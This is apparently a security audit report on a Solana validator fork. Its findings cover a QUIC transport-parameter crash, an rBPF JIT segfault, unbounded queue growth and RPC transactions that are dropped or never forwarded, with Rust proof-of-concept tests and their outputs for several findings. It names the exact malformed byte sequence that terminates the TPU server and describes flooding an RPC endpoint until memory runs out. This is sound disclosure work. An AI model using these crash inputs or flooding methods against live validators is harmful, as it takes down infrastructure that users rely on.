- **[Critical] Malformed QUIC transport parameters can terminate the TPU server process.** Fixed in Quinn #2559 and adopted by Agave #11142; see GHSA-6xvm-j4wr-6v98. The fork still locks `quinn-proto 0.10.6`, whose parser calls `unwrap()` on a client-controlled varint; no 0.10.x release contains the fix, which starts at 0.11.14. A Fork PoC passed through QUIC Retry, triggered the panic in the actual TPU server, and observed the production panic hook exit its process with status 1. The test ran the TPU server in a child process, not a full validator. The validator records its QUIC address and publishes it in gossip; network reachability still depends on the deployment.
- **[High] Vulnerable rBPF JIT can segfault on a crafted program.** Fixed by the Agave v1.18.22 backport #2513; Anza documented the crash mechanism. The fork still pins `solana_rbpf = "=0.8.0"` and JIT-compiles SBF programs on x86_64. Exploitation requires deployment and invocation of the crafted program on affected hosts. The fork does not change the program loaders, so deployment is open to any funded account that can submit transactions; the validators' CPU architecture was not established.
- **[High] Duplicate-shred pruning can panic at its exact buffer capacity.** Fixed by Agave #9897. The fork retains the `< BUFFER_CAPACITY` guard and out-of-range selection. A direct handler test reproduced the panic after 131,073 incomplete fragments. Network delivery additionally requires valid signed gossip values and acceptable origin contact information; the test did not exercise live gossip admission. While the network has fewer than 500 staked nodes, gossip skips its stake requirement for the origin of these values, so the sender needs no stake.
- **[Medium] QUIC connection-ID retirements can grow an unbounded memory queue.** Fixed in Quinn #2790 and adopted by Agave #16060; see RUSTSEC-2026-0339. The fork's locked `quinn-proto 0.10.6` appends already-retired IDs to `pending.retire_cids` without a cap. This

requires an established QUIC connection and sustained traffic while acknowledgements are withheld. Memory growth was not measured on a fork validator.

- **[Medium] ZK proof transcripts omit values needed to bind the proof.** The fork's equality verifier derives its batching challenge before binding scalar responses, fixed by Agave #5883. A fork test verified a ciphertext for amount 7 against a commitment for amount 9; the same proof fails with the upstream change. Separately, the fork's fee proof omits `c_max_proof` from its transcript, fixed by Agave #7128. The local test covers the equality proof only. Live impact depends on activation of `zk_token_sdk_enabled`, which any genesis created with `--cluster-type development` activates, and on use of proof contexts; no asset transfer was demonstrated.
- **[Medium] Failed transactions can reserve the block's entire account-data budget.** Fixed by the Agave v1.18 backport #2988. The fork's cost model counts declared allocations even after a malformed first instruction. A fork test shows a 330-byte signed transaction reserving the full 100,000,000-byte limit and `CostTracker` rejecting a following valid 1 KiB account creation. Bank execution and block inclusion were not tested.

Stability fixes

- **[Medium] Pending Epoch Accounts Hash can panic during startup cleanup.** Fixed by Agave #6497. The fork can clean beyond a queued hash request and then hit a block-height assertion. A service test reproduced the panic; it requires the request and cleanup to overlap during startup verification. A full validator restart was not tested.
- **[Medium] A stored duplicate proof for the root can panic ReplayStage on restart.** Fixed by the Agave v1.18 backport #2113. The fork reads duplicate proofs starting at the root slot itself and marks that slot invalid, reaching an assertion for a duplicate-confirmed root. This requires a stored proof for the root, for example after a cluster restart at a slot that had duplicate blocks, and the `consume_blockstore_duplicate_proofs` feature to be active; no fork restart PoC was run.
- **[Low] An already-confirmed slot skips later slots in the same replay batch.** Fixed by the Agave v1.18 backport #2771. The fork still returns from the first loop and the second loop instead of continuing when a slot was previously confirmed. Later slots in that consumed batch are skipped; the ultimate fork-choice impact was not reproduced.

Assets:

- Patch Management [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Classification

Impact Rate: 5/5

Likelihood Rate: 4/5

Severity: Critical

Recommendations

Remediation: Backport the applicable v1.18 fixes and adapt the later Quinn, gossip, ZK, and accounts-service patches to this fork. Test the patched components against the retained regression cases and confirm the live TPU/gossip exposure, x86_64 use, and feature activations before finalizing deployment-specific risk. Agave 1.18 is no longer maintained (its last release is v1.18.26), so later fixes must be tracked through Anza and dependency advisories and ported to this fork.

Resolution: Fix commit `23cedf8322c305a969518be2949c0f9a941506be`

Evidences

quic_malformed_transport_parameter.rs

Reproduce: This PoC reproduces the first security issue, **Malformed QUIC transport parameters can terminate the TPU server process** (CVE-2026-31812 in `quinn-proto` 0.10.6), which sets this report's Critical severity. The integration test runs the fork's TPU QUIC server, `solana_streamer::quic::spawn_server`, in a child process with the TPU's arguments and an empty stake table. Before starting the server, the child installs the production panic hook, `solana_metrics::set_panic_hook`. The parent connects with an ordinary Quinn client that has no stake; Quinn handles the server's Retry and retransmits its Initial packet from the same UDP socket. The only change is in the TLS ClientHello: the test replaces Quinn's final 3-byte transport parameter with `0x20 0x01 0xc0`, a `max_datagram_frame_size` parameter whose value is a truncated QUIC varint. All TLS and QUIC lengths stay valid.

A passing test establishes that the client completed the Retry exchange and sent the malformed parameter, that the server thread `quic-server` panicked in `quinn-proto 0.10.6` with `UnexpectedEnd`, and that the server process exited with status 1. A patched server would reject the parameter as malformed and keep running, and the test would fail.

The complete PoC source is attached as `quic_malformed_transport_parameter.rs`. Place it at `streamer/tests/quic_malformed_transport_parameter.rs` in the fork repository and run:

```
COPYFILE_DISABLE=1 cargo test --locked -p solana-streamer --test qu
ic_malformed_transport_parameter -- --nocapture
```

Results:

```
retry validated: true
malformed parameter written: true
child exit status: exit status: 1
child stderr: thread 'quic-server' panicked at .../quinn-proto-0.10
.6/src/transport_parameters.rs:389:67:
called `Result::unwrap()` on an `Err` value: UnexpectedEnd
test malformed_transport_parameter_exits_tpu_process_after_retry ..
. ok
```

Files: quic_malformed_transport_parameter.rs

F-2026-20541 - RPC Transactions Expire on Non-Leader Nodes - High

Description:

A valid transaction submitted through an unstaked node's `sendTransaction` RPC is acknowledged but never forwarded to a block producer. The node cannot become leader, so the transaction remains in its local queue while its blockhash expires.
For a staked node that is not currently leader, this worker loop implies that the transaction waits for that node's own leader turn. It can be included if that turn arrives while its blockhash remains valid; otherwise it expires without being forwarded. With a fresh blockhash, `MAX_PROCESSING_AGE` is 1,875 blocks, nominally about 60 seconds at the fork's 32 ms slot time. This staked-node case is inferred from the worker loop; the provided PoC below tests only an unstaked node.
Clients receive a signature even though this RPC endpoint has not sent their transaction toward the current leader. The direct local path is an architectural choice; the gap is that a node unable to execute locally neither forwards nor rejects the request.

The issue was introduced by commit `94b6f4174dae13c8c944082d11ec1c3e52b7ecb2`. The fork's `sendTransaction` handler places the transaction in a local channel and returns its signature:

```
if let Err(_) = meta.rpc_tx_sender.try_send(transaction) {
// do nothing
}

Ok(signature.to_string())
```

The new BankingStage worker waits for a local leader bank before processing that channel. It has no forwarding branch:

```
let bank_start = loop {
if let Some(bank_start) = DecisionMaker::bank_start(&decision_maker
.poh_recorder.read().unwrap()) {
break bank_start;
}

thread::sleep(Duration::from_nanos(10));
};
let before_process = Instant::now();
consumer.process_packets_transactions(&bank_start.working_bank, &ba
nk_start.bank_creation_time, &tx_buffer, &banking_stage_stats, &mut
slot_metrics_tracker);
```

In Agave v1.18.21, the RPC handler instead called `_send_transaction` with serialized transaction bytes:

```
_send_transaction(
meta,
signature,
wire_transaction,
last_valid_block_height,
durable_nonce_info,
```

```
    max_retries,
)
```

That path feeds `SendTransactionService`, which sends transactions to the TPU addresses of current or upcoming leaders. The service remains in the fork, but `sendTransaction` no longer uses it. The bundled multinode validator script describes starting a node without stake and enables the full RPC API, so the affected node configuration is supported by the supplied setup.

In the PoC, Alice submitted a 1,000,000 lamport transfer to Bob through the leader RPC, and Bob received it. Alice then submitted a separate valid 2,000,000 lamport transfer to Bob through an unstaked RPC node with default preflight. That RPC returned the transaction signature, but the second transfer was never included: Bob's balance was still 1,000,000 after its blockhash expired, and its signature status was absent. Users of such an RPC endpoint can therefore see successful submission responses while their valid transfers never reach a leader.

Assets:

- rpc/src/rpc.rs [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Classification

Impact Rate: 3/5

Likelihood Rate: 4/5

Severity: High

Recommendations

Remediation:

1. If `sendTransaction` is supported on non-leader RPC nodes, restore network forwarding through `SendTransactionService` while retaining the direct local path as an optional leader fast path. Any direct execution path must verify signatures before BankingStage.
2. If the protocol deliberately accepts submissions only on the current leader, make non-leader RPC nodes reject `sendTransaction` explicitly and route clients to the current leader. An unstaked node must not acknowledge transactions it cannot submit.
3. Return an RPC error when no submission path accepts a transaction, including when `rpc_tx_sender.try_send` fails. A returned signature need not guarantee inclusion, but it should not conceal a local enqueue failure. Add regression tests for unstaked nodes, staked nodes outside their leader turn, and leader transitions.
4. Any retained direct execution path must verify signatures before BankingStage, as required by issue F-2026-20534.

Resolution: Fix commit `3ddddd5d3053501b5c7be58216c929aa52d1179c`

Evidences

rpc_non_leader_transaction_not_forwarded.rs

Reproduce: From the fork repository root, create `local-cluster/tests/rpc_non_leader_transaction_not_forwarded.rs` and paste the complete source below.
Run:

```
COPYFILE_DISABLE=1 cargo test --locked -p solana-local-cluster --te
st rpc_non_leader_transaction_not_forwarded -- --nocapture --test-t
hreads=1
```

`COPYFILE_DISABLE=1` prevents macOS archive metadata from contaminating the generated genesis archive; it is harmless on Linux. Allow several minutes for the blockhash to expire in a debug build.

PoC: `local-cluster/tests/rpc_non_leader_transaction_not_forwarded.rs`

```
//! An unstaked RPC listener acknowledges a valid transaction but d
oes
//! not forward it to the leader. The test waits until its blockhas
h expires.
//!
//! Alice signs two different transfers to Bob. The first is submit
ted through
//! the leader node's RPC and lands; the second is submitted throug
h an unstaked
//! RPC node and expires.

use {
solana_local_cluster::{
integration_tests::{DEFAULT_CLUSTER_LAMPORTS, DEFAULT_NODE_STAKE},
local_cluster::{ClusterConfig, LocalCluster},
},
solana_rpc_client::rpc_client::RpcClient,
solana_rpc_client_api::config::RpcSendTransactionConfig,
solana_sdk::{commitment_config::CommitmentConfig, pubkey::Pubkey, s
ystem_transaction},
solana_streamer::socket::SocketAddrSpace,
std::{
thread::sleep,
time::{Duration, Instant},
},
};

#[test]
fn unstaked_rpc_accepts_transaction_that_expires_without_forwarding
() {
solana_logger::setup_with("error");
let mut config =
ClusterConfig::new_with_equal_stakes(1, DEFAULT_CLUSTER_LAMPORTS, D
EFAULT_NODE_STAKE);
// The bootstrap validator is the sole leader. The listener has an
RPC
// endpoint but no vote/stake account and is never scheduled as lea
der.
config.num_listeners = 1;
let cluster = LocalCluster::new(&mut config, SocketAddrSpace::Unspe
cified);
let leader_id = *cluster.entry_point_info.pubkey();
let listener_id = *cluster
```

```
.validators
.keys()
.find(|id| **id != leader_id)
.unwrap();
let leader_url = format!("http://{}", cluster.entry_point_info.rpc(
).unwrap());
let listener_url = format!(
"http://{}",
cluster.validators[&listener_id]
.info
.contact_info
.rpc()
.unwrap()
);
let alice = cluster.funding_keypair.insecure_clone();
// LocalCluster's shutdown waits on the new RPC worker, which has n
o exit
// path while an unstaked listener is waiting for a leader bank.
std::mem::forget(cluster);

let leader = RpcClient::new_with_commitment(leader_url, CommitmentC
onfig::confirmed());
let listener = RpcClient::new_with_commitment(listener_url, Commitm
entConfig::confirmed());

// Wait for the listener to catch up so default preflight can use a
blockhash
// that both RPC endpoints know.
let catch_up_deadline = Instant::now() + Duration::from_secs(120);
loop {
let leader_slot = leader.get_slot().unwrap_or(0);
let listener_slot = listener.get_slot().unwrap_or(0);
if listener_slot > 0 && listener_slot + 10 >= leader_slot {
break;
}
assert!(Instant::now() < catch_up_deadline, "listener did not catch
up");
sleep(Duration::from_millis(250));
}
let schedule = leader.get_leader_schedule(None).unwrap().unwrap();
let listener_is_leader = schedule.contains_key(&listener_id.to_stri
ng());
println!("\nNODES: leader produces blocks; separate RPC-only node h
as zero stake; scheduled as leader = {listener_is_leader}");
assert!(!listener_is_leader);

// Positive control: Alice signs a transfer to Bob and submits it t
hrough
// the leader node's RPC. Bob receives the funds.
let bob = Pubkey::new_unique();
let control_blockhash = leader
.get_latest_blockhash_with_commitment(CommitmentConfig::finalized()
)
.unwrap()
.0;
let control_tx = system_transaction::transfer(&alice, &bob, 1_000_0
00, control_blockhash);
assert!(control_tx.verify().is_ok());
leader
.send_transaction_with_config(&control_tx, RpcSendTransactionConfig
::default())
.unwrap();
let control_deadline = Instant::now() + Duration::from_secs(30);
while leader.get_balance(&bob).unwrap() != 1_000_000 {
assert!(Instant::now() < control_deadline, "leader control transfer
did not land");
sleep(Duration::from_millis(100));
}
println!("CONTROL: Alice -> Bob, 1000000 lamports, submitted throug
h the leader node RPC");
println!("CONTROL RESULT: Bob balance = 1000000 lamports; this tran
sfer was included");

// Alice signs a second transfer to Bob, this time for 2,000,000 la
mports.
// She submits it through the unstaked node's RPC with default pref
light.
// If included, Bob's balance would rise from 1,000,000 to 3,000,00
0.
let (blockhash, last_valid_block_height) = listener
.get_latest_blockhash_with_commitment(CommitmentConfig::finalized()
```

```
)
.unwrap();
let target_tx = system_transaction::transfer(&alice, &bob, 2_000_00
0, blockhash);
assert!(target_tx.verify().is_ok());
let response = listener
.send_transaction_with_config(&target_tx, RpcSendTransactionConfig:
:default())
.unwrap();
assert_eq!(response, target_tx.signatures[0]);
println!("TARGET: Alice -> Bob, 2000000 lamports, submitted through
the RPC-only node with default preflight");
println!("TARGET ACK: the RPC-only node returned signature {respons
e}");
println!("WAIT: target last valid block height = {last_valid_block_
height}; checking Bob's balance until expiry...");

// Follow the leader's block height until the target's blockhash ex
pires.
// Check Bob's balance throughout, so a landed transfer cannot be m
issed
// even if its signature later disappears from the status cache.
let expiry_deadline = Instant::now() + Duration::from_secs(600);
let expired_at = loop {
assert_eq!(leader.get_balance(&bob).unwrap(), 1_000_000);
let block_height = leader.get_block_height().unwrap();
if block_height > last_valid_block_height {
break block_height;
}
assert!(Instant::now() < expiry_deadline, "blockhash did not expire
in time");
sleep(Duration::from_millis(250));
};
let bob_balance = leader.get_balance(&bob).unwrap();
let target_status = leader.get_signature_statuses(&[response]).unwr
ap().value[0].is_some();
println!("EXPIRY: leader block height {expired_at} > last valid blo
ck height {last_valid_block_height}");
println!("TARGET RESULT: Bob balance = {bob_balance} lamports (woul
d be 3000000 if the target landed); target signature status present
= {target_status}");
assert_eq!(bob_balance, 1_000_000);
assert!(!target_status);
println!("PF-02 CONFIRMED: the RPC-only node accepted Alice's secon
d transfer, but Bob never received it before expiry");
}
```

Results:

The following is the test output from the verified local run. Block heights and duration vary between runs.

```
running 1 test
test unstaked_rpc_accepts_transaction_that_expires_without_forwardi
ng ...
NODES: leader produces blocks; separate RPC-only node has zero stak
e; scheduled as leader = false
CONTROL: Alice -> Bob, 1000000 lamports, submitted through the lead
er node RPC
CONTROL RESULT: Bob balance = 1000000 lamports; this transfer was i
ncluded
TARGET: Alice -> Bob, 2000000 lamports, submitted through the RPC-o
nly node with default preflight
TARGET ACK: the RPC-only node returned signature 4kxRbpEjwMeRHTsFWQ
UnvyJnoohFCVELDqhxrjUR6zMvZMpB28hnsVKbCvirRwU9NjyEiu61mfasMUNxuuHH5
MRc
WAIT: target last valid block height = 3793; checking Bob's balance
until expiry...
EXPIRY: leader block height 3797 > last valid block height 3793
TARGET RESULT: Bob balance = 1000000 lamports (would be 3000000 if
the target landed); target signature status present = false
PF-02 CONFIRMED: the RPC-only node accepted Alice's second transfer
, but Bob never received it before expiry
ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filte
red out; finished in 251.16s
```

The two lines labeled `CONTROL` describe Alice's first transfer to Bob. The lines labeled `TARGET` describe her second transfer to Bob. The RPC-only node returned a signature for the second transfer, but Bob's balance was still 1,000,000 after its blockhash expired; it would have reached 3,000,000 if that transfer had landed. That signed transaction cannot be included after expiry. Alice would need to sign a new transaction with a fresh blockhash.

F-2026-20548 - Unbounded RPC Queue Grows Without Limit - High

Description:

The fork's `sendTransaction` handler enqueues each transaction in a local channel. Commit `94b6f4174dae13c8c944082d11ec1c3e52b7ecb2` introduced this path and the new BankingStage worker. The channel has no capacity limit:

```
let (rpc_tx_sender, rpc_tx_receiver) = unbounded();
```

The worker takes at most 128 transactions into a batch, then waits for a local leader bank before reading the channel again:

```
let bank_start = loop {
if let Some(bank_start) = DecisionMaker::bank_start(&decision_maker
.poh_recorder.read().unwrap()) {
break bank_start;
}

thread::sleep(Duration::from_nanos(10));
};
```

An unstaked RPC node never becomes leader, so the worker stops draining after its first batch and remains in the `bank_start` loop, polling for a leader bank with a nominal 10 ns sleep between attempts. Later transactions remain in the unbounded channel even when their blockhashes expire. Repeated submissions to a reachable RPC endpoint can therefore grow the queue without bound, potentially exhausting validator memory and causing a denial of service.
The PoC did not measure memory usage.
A staked node can also accumulate transactions between its leader turns, but the permanent wait is specific to a node with no leader turn. The PoC measures queue retention, not CPU usage.

Agave v1.18.21 also used an unbounded RPC ingress channel. Its `SendTransactionService`, however, continued receiving independently of leadership, capped its retry queue at 10,000 entries through an overflow check, and removed expired transactions. The fork's new worker has none of those controls while waiting for leadership.

Separately, before it has received a batch, the worker retries `try_recv()` immediately on an empty channel. This idle-channel spin is not the loop that retains transactions after the first batch. Agave's corresponding receive thread waited with `recv_timeout()`.

Assets:

- core/src/banking_stage.rs [https://github.com/Yona-Labs/giga-svm]
- core/src/validator.rs [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Classification

Impact Rate: 3/5

Likelihood Rate: 4/5

Severity: High

Recommendations

Remediation:

1. Coordinate this fix with F-2026-20541: forward submissions from non-leader RPC nodes through a service that drains independently of local leadership, or reject them before enqueueing. If direct local execution remains available, verify signatures before BankingStage as required by F-2026-20534.
2. Bound the RPC queue and return an explicit error when it is full. Remove expired transactions rather than retaining them while waiting for a leader turn.
3. Use a blocking receive or timeout while the channel is empty, and an event-driven wait for a leader bank instead of repeatedly polling it.

Resolution: Fix commit `3ddddd5d3053501b5c7be58216c929aa52d1179c`, completed by `23cedf8322c305a969518be2949c0f9a941506be`

Evidences

rpc_worker_queue_retention.rs

Reproduce: This test starts the fork's actual BankingStage RPC worker without a local leader bank. It submits 10,000 distinct signed transactions to the worker channel and reads the channel length through a non-consuming receiver clone. It then expires the first blockhash in a real Bank and submits 10,000 more transactions with a fresh blockhash. The assertions check that the expired transactions remain queued and that the second wave adds to the same backlog. The test exercises the worker channel directly, without an HTTP RPC request.

From the fork repository root, create `core/tests/rpc_worker_queue_retention.rs` and paste the source below. Run:

```
COPYFILE_DISABLE=1 cargo test --locked -p solana-core --test rpc_wo
rker_queue_retention -- --nocapture --test-threads=1
```

PoC: `core/tests/rpc_worker_queue_retention.rs`

```
//! Exercise the fork's actual BankingStage RPC worker with two wav
es of
```

```rust
//! 10,000 transactions while no local leader bank is available. Th
e test retains a
//! read-only clone of the worker's channel receiver to inspect que
ue length.
//! The 128-transaction value is a maximum batch size, not an exact
count:
//! the worker may stop earlier after its 100-microsecond intake wi
ndow.

use {
crossbeam_channel::unbounded,
solana_client::connection_cache::ConnectionCache,
solana_core::{banking_stage::BankingStage, banking_trace::BankingTr
acer},
solana_gossip::cluster_info::{ClusterInfo, Node},
solana_ledger::{
blockstore::Blockstore, genesis_utils::create_genesis_config,
leader_schedule_cache::LeaderScheduleCache,
},
solana_poh::poh_recorder::PohRecorder,
solana_runtime::{bank::Bank, prioritization_fee_cache::Prioritizati
onFeeCache},
solana_sdk::{
poh_config::PohConfig,
pubkey::Pubkey,
signature::{Keypair, Signer},
system_transaction,
transaction::SanitizedTransaction,
},
solana_streamer::socket::SocketAddrSpace,
std::{
sync::{atomic::AtomicBool, Arc, RwLock},
thread::sleep,
time::{Duration, Instant},
},
};

#[test]
fn two_transaction_waves_accumulate_after_first_blockhash_expiry()
{
solana_logger::setup_with("error");
const PER_WAVE: usize = 10_000;

let genesis = create_genesis_config(1_000_000_000);
let (bank, bank_forks) = Bank::new_no_wallclock_throttle_for_tests(
&genesis.genesis_config);
let blockhash = bank.last_blockhash();
assert!(bank
.get_blockhash_last_valid_block_height(&blockhash)
.is_some());

// PohRecorder::new does not open a working leader bank. The real R
PC worker
// therefore waits in DecisionMaker::bank_start() after its first b
atch.
let ledger_dir = tempfile::tempdir().unwrap();
let blockstore = Arc::new(Blockstore::open(ledger_dir.path()).unwra
p());
let schedule = Arc::new(LeaderScheduleCache::new_from_bank(&bank));
let (poh_recorder, _entry_receiver, _record_receiver) = PohRecorder
::new(
bank.tick_height(),
blockhash,
bank.clone(),
None,
bank.ticks_per_slot(),
blockstore,
&schedule,
&PohConfig::default(),
Arc::new(AtomicBool::new(false)),
);
assert!(poh_recorder.bank_start().is_none());
let poh_recorder = Arc::new(RwLock::new(poh_recorder));

let identity = Arc::new(Keypair::new());
let node = Node::new_localhost_with_pubkey(&identity.pubkey());
let cluster_info = Arc::new(ClusterInfo::new(
node.info,
identity,
SocketAddrSpace::Unspecified,
));
```

```
let tracer = BankingTracer::new_disabled();
let (_non_vote_sender, non_vote_receiver) = tracer.create_channel_n
on_vote();
let (_tpu_vote_sender, tpu_vote_receiver) = tracer.create_channel_t
pu_vote();
let (_gossip_vote_sender, gossip_vote_receiver) = tracer.create_cha
nnel_gossip_vote();
let (replay_vote_sender, _replay_vote_receiver) = unbounded();
let (rpc_sender, rpc_receiver) = unbounded();
let queue_observer = rpc_receiver.clone();

// Preload 10,000 distinct, correctly signed transfers. This is the
same
// unbounded channel type and worker used by the fork's RPC path; n
o HTTP
// server is needed to inspect its occupancy without changing fork
code.
for _ in 0..PER_WAVE {
let tx = system_transaction::transfer(
&genesis.mint_keypair,
&Pubkey::new_unique(),
1,
blockhash,
);
rpc_sender
.send(SanitizedTransaction::from_transaction_for_tests(tx))
.unwrap();
}
assert_eq!(queue_observer.len(), PER_WAVE);
println!("FIRST_WAVE_SENT={PER_WAVE}");

let banking_stage = BankingStage::new_thread_local_multi_iterator(
&cluster_info,
&poh_recorder,
non_vote_receiver,
tpu_vote_receiver,
gossip_vote_receiver,
4,
None,
replay_vote_sender,
None,
Arc::new(ConnectionCache::new("pf03_queue_probe")),
bank_forks,
&Arc::new(PrioritizationFeeCache::new(0)),
rpc_receiver,
);

let deadline = Instant::now() + Duration::from_secs(10);
while queue_observer.len() == PER_WAVE {
assert!(Instant::now() < deadline, "RPC worker did not read the cha
nnel");
sleep(Duration::from_millis(1));
}
sleep(Duration::from_millis(50));
let remaining = queue_observer.len();
let taken_into_batch = PER_WAVE - remaining;
println!("FIRST_BATCH_TAKEN={taken_into_batch} FIRST_WAVE_QUEUED={r
emaining}");
assert!((1..=128).contains(&taken_into_batch));
assert!(remaining >= PER_WAVE - 128);

// Age the transaction's hash out of a real Bank's recent-blockhash
queue.
// The RPC worker has no expiry cleanup while it waits for a leader
bank.
let mut age_steps = 0;
while bank
.get_blockhash_last_valid_block_height(&blockhash)
.is_some()
{
bank.register_unique_recent_blockhash_for_test();
age_steps += 1;
assert!(age_steps < 10_000, "blockhash did not expire");
}
sleep(Duration::from_millis(50));
let remaining_after_expiry = queue_observer.len();
println!("FIRST_BLOCKHASH_EXPIRED=true QUEUED_AFTER_EXPIRY={remaini
ng_after_expiry}");
assert_eq!(remaining_after_expiry, remaining);

// A second wave uses a fresh, currently valid blockhash. The worke
```

```
r still
// waits for local leadership, so all 10,000 new transactions must
be added
// behind the expired first-wave transactions rather than replacing
them.
let fresh_blockhash = bank.last_blockhash();
assert_ne!(fresh_blockhash, blockhash);
assert!(bank
.get_blockhash_last_valid_block_height(&fresh_blockhash)
.is_some());
for _ in 0..PER_WAVE {
let tx = system_transaction::transfer(
&genesis.mint_keypair,
&Pubkey::new_unique(),
1,
fresh_blockhash,
);
rpc_sender
.send(SanitizedTransaction::from_transaction_for_tests(tx))
.unwrap();
}
sleep(Duration::from_millis(50));
let expected_after_second_wave = remaining_after_expiry + PER_WAVE;
let actual_after_second_wave = queue_observer.len();
println!("SECOND_WAVE_SENT={PER_WAVE} FRESH_BLOCKHASH_VALID=true");
println!("QUEUED_AFTER_SECOND_WAVE={actual_after_second_wave} EXPEC
TED={expected_after_second_wave}");
assert_eq!(actual_after_second_wave, expected_after_second_wave);

// The fork's worker has no shutdown condition, so joining it would
hang.
// Dropping JoinHandles detaches the threads; the test process ends
normally.
drop(banking_stage);
}
```

Results:

```
running 1 test
test two_transaction_waves_accumulate_after_first_blockhash_expiry
... FIRST_WAVE_SENT=10000
FIRST_BATCH_TAKEN=128 FIRST_WAVE_QUEUED=9872
FIRST_BLOCKHASH_EXPIRED=true QUEUED_AFTER_EXPIRY=9872
SECOND_WAVE_SENT=10000 FRESH_BLOCKHASH_VALID=true
QUEUED_AFTER_SECOND_WAVE=19872 EXPECTED=19872
ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filte
red out; finished in 5.32s
```

The queue held 9,872 first-wave transactions after their blockhash expired, then 19,872 after the second wave. The first batch may contain fewer than 128 transactions on another machine because the worker also has a 100 µs intake deadline.

F-2026-20579 - Leader Silently Drops RPC Transactions Marked for Retry - High

Description:

The fork's `sendTransaction` handler queues transactions for a local BankingStage worker and returns their signatures. On a leader, the consumer returns indexes of still-valid transactions that need another attempt. The worker ignores those indexes and clears the entire batch:

```
consumer.process_packets_transactions(&bank_start.working_bank, &bank_start.bank_creation_time, &tx_buffer, &banking_stage_stats, &mut slot_metrics_tracker);
datapoint_info!("process-packets-transactions", ("process_time", before_process.elapsed().as_micros() as i64, i64));
datapoint_info!("bank-process_transactions", ("tx_count", tx_buffer.len() as i64, i64));
tx_buffer.clear();
```

The caller receives a signature even when a valid, retryable transaction is subsequently dropped. Default preflight does not prevent account-lock conflicts: simulation uses an unlocked batch of one, while production processing locks accounts across transactions and threads.

Commit `94b6f4174dae13c8c944082d11ec1c3e52b7ecb2` introduced this worker and changed the RPC handler to enqueue transactions directly. The consumer's retry logic was unchanged; the commit made its method public so the worker could call it.

In Agave v1.18.21, the RPC handler called `_send_transaction`, feeding `SendTransactionService`, which resends transactions with unknown signatures while valid and within retry limits. Its TPU path defers conflicting transactions and retains retryable packets. The fork's direct RPC worker bypasses both mechanisms. Agave does not guarantee inclusion, but it does not discard a transaction merely because its consumer requested a retry.

The worker can discard retryable transactions in these situations:

- **Account contention:** Transactions in one consumer sub-batch write the same account, or another BankingStage thread holds its lock. The shared account locks produce `AccountInUse`, which the runtime marks retryable. The PoC reproduces the same-batch case; cross-thread contention can affect even one RPC transaction.
- **Current-slot cost limit:** A transaction exceeds the remaining block, vote, account, or account-data budget. The runtime marks it retryable.
- **Slot boundary:** The slot ends during processing or recording. Transactions that cannot be recorded, and those remaining in the batch, become retryable.

In production, the impact can grow with traffic. The fork starts one RPC worker in both its standard and central-scheduler BankingStage configurations. The provided genesis program list includes Raydium AMM

and OpenBook. If users submit transactions that write the same pool or market account to the leader's RPC close together, they can enter one processing sub-batch: the first takes the account lock, while the others are marked for retry and then discarded. Transactions are therefore more likely to be lost during busy periods, when timely inclusion matters most.

The impact depends on the transaction and how the client handles a missing status:

- **Contended accounts:** Transfers from one wallet or operations against a busy writable account can be lost. The PoC shows one of two valid transfers disappearing. A lost order cancellation, for example, can leave an order open until the client retries; it may be filled at a price the user intended to avoid.
- **Slot boundary or cost limit:** Even a transaction alone in the RPC batch can be dropped if the current slot has insufficient remaining cost capacity, or if the slot ends while the transaction is being processed or recorded.
- **What the client sees:** The RPC returns a signature, but the validator drops its copy of the transaction without adding it to a block or retrying it. The client must notice the missing status and submit the transaction again before its blockhash expires. In the PoC, submitting the same signed transaction a second time succeeds.

The PoC reproduces only the account-lock conflict. It does not test cost-limit or slot-boundary drops.

Assets:

- core/src/banking_stage.rs [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Classification

Impact Rate: 3/5

Likelihood Rate: 4/5

Severity: High

Recommendations

Remediation:

- Handle `ProcessTransactionsSummary.retryable_transaction_indexes` before clearing `tx_buffer`. Retry still-valid transactions locally while the node is leader. When it is no longer leader, send them toward the current or upcoming leader through a forwarding path such as the existing Send TransactionService, rather than holding them until this node's next turn. Apply the same rule when a non-leader RPC node first receives a

transaction; F-2026-20541 identifies that missing forwarding. Limit the queue size and remove expired transactions.

- Form direct-RPC processing batches without conflicting writable accounts, as the TPU path does. This reduces `AccountInUse` failures but does not replace the retry mechanism needed for cross-thread contention, cost limits, and slot boundaries.
- Add regression tests for same-account transactions, a single RPC transaction conflicting with another BankingStage thread, and a transaction crossing a slot boundary. Verify that a retryable transaction is either included later or explicitly expires.

Resolution: Fix commit `3ddddd5d3053501b5c7be58216c929aa52d1179c`, completed by `5c1a5821169bc5c3475b80297fbf70f17a9c5967`

Evidences

rpc_retryable_transfer_dropped.rs

Reproduce: The test runs the fork's BankingStage RPC worker with an active leader bank and PoH service. Alice signs two valid transfers of 1,000 lamports, one to Bob and one to Carol. A lock probe confirms that processing them together gives Carol's transfer `AccountInUse`; it releases the locks without executing either transfer. The test then queues both transfers before starting the worker, placing them in its first batch.

After three seconds, Bob's transfer is included, Carol's has no status, and the worker's input queue is empty. Resubmitting the **same signed transfer** to Carol alone succeeds, confirming that it was valid and its first attempt was lost.

The test extends its local slot to about 32 seconds to isolate account contention from slot expiry. It submits directly to the worker channel that the `sendTransaction` handler feeds; it does not exercise HTTP RPC.

From the fork repository root, create `core/tests/rpc_retryable_transfer_dropped.rs` and paste the complete source below. Run:

```
COPYFILE_DISABLE=1 cargo test --locked -p solana-core --test rpc_re
tryable_transfer_dropped -- --nocapture --test-threads=1
```

The repository pins Rust 1.75.0 and requires `protoc`. The test selects local sockets automatically; no RPC URL or fixed port is needed. Allow the test process to bind localhost sockets.

The complete source for `core/tests/rpc_retryable_transfer_dropped.rs` is:

```
//! The fork's RPC BankingStage worker drops a valid transaction th
at
```

```rust
//! the consumer marks retryable after an account-lock conflict.
//!
//! Two transfers from Alice are preloaded before the worker starts
, so they
//! enter the same processing batch. The slot is deliberately exten
ded to keep
//! the leader bank open and isolate the account-lock case from slo
t expiry.
//! The test uses the real worker and PoH service, but injects tran
sactions at
//! the worker channel rather than through HTTP RPC.

use {
crossbeam_channel::unbounded,
solana_client::connection_cache::ConnectionCache,
solana_core::{banking_stage::BankingStage, banking_trace::BankingTr
acer},
solana_gossip::cluster_info::{ClusterInfo, Node},
solana_ledger::{blockstore::Blockstore, genesis_utils::create_genes
is_config},
solana_poh::poh_recorder::create_test_recorder,
